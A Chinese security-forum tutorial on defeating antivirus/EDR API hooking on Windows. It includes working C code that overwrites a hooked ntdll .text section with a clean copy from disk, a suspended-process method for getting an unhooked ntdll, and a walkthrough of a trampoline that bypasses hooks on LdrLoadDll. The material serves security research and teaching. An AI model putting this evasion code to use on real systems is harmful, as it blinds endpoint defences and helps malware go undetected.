问答
发起
提问
文章
攻防
活动
Toggle navigation
首页
(current)
问答
商城
实战攻防技术
漏洞分析与复现
NEW
活动
摸鱼办
搜索
登录
注册
杀毒软件脱钩(Unhoo)技术研究与实践
渗透测试
由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,文章作者不为此承担任何责任。(本文仅用于交流学习),本文仅作技术研究。
前言 -- API Hook是通过替换操作系统中的 API 函数来拦截对这些函数的调用。在 Windows操作系统中,许多关键函数(如 CreateFile、ReadFile、LoadLibrary等)是通过DLL导出实现的,而这些DLL又被操作系统加载到进程的地址空间中。 为了拦截这些 API 调用,EDR会修改目标DLL中的函数入口并且将EDR的DLL注入到进程中。常见的方法是将函数的开头几个字节修改为跳转指令(JMP),使得程序执行跳转到 EDR 提供的检测函数中。通过这种方式,EDR就能在目标Windows API被调用之前执行一些额外的检查,比如日志记录、恶意行为检测等。 这里通过Bit\*\*\*\*der可以看见其将两个DLL注入到了当前进程中   这里将另外一个测试程序加入到白名单中,再次附加查看,发现并没有DLL注入   那么有什么区别呢,这里选OpenThread进行比较,这里可以看见Bit\*\*\*\*der对于三环函数是有挂钩的(左:加了白名单,右:未加白名单)  Bit\*\*\*\*der不仅对3环部分函数进行了Hook,对于0环部分函数也有hook(左:加了白名单,右:未加白名单)  那么如果不让Bit\*\*\*\*der注入到进程,是否就能脱钩呢? 禁止非签DLL注入 --------- ### SetProcessMitigationPolicy Windows官方提供了相关的函数与方法实现,禁止非Microsoft、Windows应用商店或Windows 硬件签名的程序注入到进程,具体函数参考如下链接: <https://learn.microsoft.com/zh-cn/windows/win32/api/processthreadsapi/nf-processthreadsapi-setprocessmitigationpolicy> 这里实现了个简单的demo ```php #include int main() { PROCESS_MITIGATION_BINARY_SIGNATURE_POLICY pmbsp = { 0 }; pmbsp.StoreSignedOnly = false; pmbsp.MicrosoftSignedOnly = true; BOOL result = SetProcessMitigationPolicy(ProcessSignaturePolicy, &pmbsp, sizeof(pmbsp)); if (!result) { MessageBox(NULL, "False", "False", MB_OK); } MessageBox(NULL, "Success", "Success", MB_OK); return 0; } ``` 程序多了Signatures restricted (Microsoft only),代表生效了  但是查看Modules中还是发现被Bit\*\*\*\*der注入了DLL  查看这两个DLL发现,被加了微软的签名,那么这个demo可以说无效了  那么是否能绕过EDR的函数Hook策略呢? 脱钩 -- ### 系统调用 比如3环VirtualAlloc函数,最终调用的0环函数是NtAllocateVirtualMemory,查看NtAllocateVirtualMemory函数,可以看见最后使用syscall调用系统调用  但是程序的堆栈是不正常的,因为正常的程序0环执行结束返回3环的时候,这个返回地址应该是在ntdll所在地址范围之内。 ### 磁盘重载ntdll 从磁盘加载一个干净的DLL文件,将其映射到内存中,并用磁盘中原始 .text 节的内容替换当前内存中已被挂钩的DLL的 .text节,来达到脱钩的目的。 简单的demo ```php void UnHookDll(LPCSTR dllname) { MODULEINFO mi = {}; HMODULE ntdllModule = GetModuleHandleA(dllname); GetModuleInformation(HANDLE(-1), ntdllModule, &mi, sizeof(mi)); char dllpath[MAX_PATH] = { 0 }; LPVOID ntdllBase = (LPVOID)mi.lpBaseOfDll; sprintf_s(dllpath, "c:\\windows\\system32\\%s", dllname); HANDLE ntdllFile = CreateFileA((LPCSTR)dllpath, GENERIC_READ, FILE_SHARE_READ, NULL, OPEN_EXISTING, 0, NULL); HANDLE ntdllMapping = CreateFileMapping(ntdllFile, NULL, PAGE_READONLY | SEC_IMAGE, 0, 0, NULL); LPVOID ntdllMappingAddress = MapViewOfFile(ntdllMapping, FILE_MAP_READ, 0, 0, 0); PIMAGE_DOS_HEADER hookedDosHeader = (PIMAGE_DOS_HEADER)ntdllBase; PIMAGE_NT_HEADERS hookedNtHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)ntdllBase + hookedDosHeader->e_lfanew); for (WORD i = 0; i < hookedNtHeader->FileHeader.NumberOfSections; i++) { PIMAGE_SECTION_HEADER hookedSectionHeader = (PIMAGE_SECTION_HEADER)((DWORD_PTR)IMAGE_FIRST_SECTION(hookedNtHeader) + ((DWORD_PTR)IMAGE_SIZEOF_SECTION_HEADER * i)); if (!strcmp((char*)hookedSectionHeader->Name, (char*)".text")) { DWORD oldProtection = 0; SIZE_T virtualSize = hookedSectionHeader->Misc.VirtualSize; VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, PAGE_EXECUTE_READWRITE, &oldProtection); memcpy((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), (LPVOID)((DWORD_PTR)ntdllMappingAddress + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize); VirtualProtect((LPVOID)((DWORD_PTR)ntdllBase + (DWORD_PTR)hookedSectionHeader->VirtualAddress), hookedSectionHeader->Misc.VirtualSize, oldProtection, &oldProtection); } } CloseHandle(ntdllFile); CloseHandle(ntdllMapping); FreeLibrary(ntdllModule); } ``` 运行代码,发现三环函数已经脱钩了  内核函数也已经脱钩  ### 挂起进程获得干净ntdll 先来创建一个被挂起的进程,简单的demo ```php #include int main() { STARTUPINFOA si = { 0 }; PROCESS_INFORMATION pi = { 0 }; si.cb = sizeof(STARTUPINFOA); BOOL result = CreateProcessA("C:\\Windows\\System32\\notepad.exe", NULL, NULL, NULL, FALSE, CREATE_SUSPENDED | CREATE_NEW_CONSOLE, NULL, NULL, &si, &pi); if (!result) { MessageBox(NULL, "False", "False", MB_OK); } MessageBox(NULL, "Success CREATE_SUSPENDED", "Success CREATE_SUSPENDED", MB_OK); return 0; } ``` 可以看到被挂起的进程中只有ntdll.dll,并没有其余的DLL,包括Bit\*\*\*\*der杀软的DLL(左:被挂起的进程,右:未被挂起的进程)  并且可以看见NtWriteVirtualMemory函数并没有被挂钩  而且在同个操作系统上,不同程序加载的ntdll的基址都是相同的  因此可以确定,新起的被挂起的进程他的ntdll是没有被挂钩的,但是缺点很明显,只有Ntdll,对于kernel32.dll、KernelBase.dll还是不能脱钩,demo代码已经有外国友人实现了:<https://github.com/dosxuz/PerunsFart> 可以看见内核函数已经脱钩  ### 自定义跳转函数unhook 一些EDR去Hook的方式就是去修改Windows DLL中的函数,通过在函数开头插入JMP指令来跳转到自己的检测函数  这种unhook方式就是自己去组装一个跳转函数,来进行EDR的规避。参考代码:<https://github.com/trickster0/LdrLoadDll-Unhooking> 先来简单看看代码的大体功能,然后再调试看看 定义与初始化,指定要加载的DLL,获取LdrLoadDll函数的地址   定义跳转指令的结构 - jumpPrelude\[\] = { 0x49, 0xBB }:64 位的 mov指令 - jumpAddress\[\] = { 0xDE, 0xAD, 0xBE, 0xEF, 0xDE, 0xAD, 0xBE, 0xEF }:占位符,后续会替换为实际的跳转地址 - jumpEpilogue\[\] = { 0x41, 0xFF, 0xE3, 0xC3 }:跳转指令和函数返回指令 之后就是将LdrLoadDll地址5个字节后的地址放入到jmpAddr中(之所以是5个字节后,是避免将EDR的hook函数的jmp指令一同放入到jmpAddr中),然后将jmpAddr的地址放入到 jumpAddress中   将LdrLoadDll地址5个字节后的地址放入到jmpAddr中  jmpAddr的地址放入到 jumpAddress中  申请一块内存,是为了保存最终要使用的LdrLoadDll的地址  - 第一个CCopyMemory将LdrLoadDll原始的前5个字节,放入我们开始申请的地址中,为什么要放入这五个字节呢?LdrLoadDlly原始五个字节如下, 这样做的好处就是,代码实现把函数的前五个原始字节放入到申请的内存中,这样就规避了被hook  - 后面的CCopyMemory就是将上面复制好的move指令、jmp指令、ret指令和实际的跳转地址放到申请的内存trampoline中   最后就是修为trampoline内存属性为可执行,最后使用newLdrLoadDll加载DLL  使用newLdrLoadDll加载DLL,进入call看看  CCopyMemory处写入的指令  jmp过去看看,跳转回到LdrLoadDll的前5个字节后的地址去执行 
发表于 2025-02-08 10:07:28
阅读 ( 1213 )
分类:
渗透测试
0 推荐
收藏
0 条评论
请先
登录
后评论
事与愿违
9 篇文章
×
发送私信
请先
登录
后发送私信
×
举报此文章
垃圾广告信息:
广告、推广、测试等内容
违规内容:
色情、暴力、血腥、敏感信息等内容
不友善内容:
人身攻击、挑衅辱骂、恶意行为
其他原因:
请补充说明
举报原因:
×
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!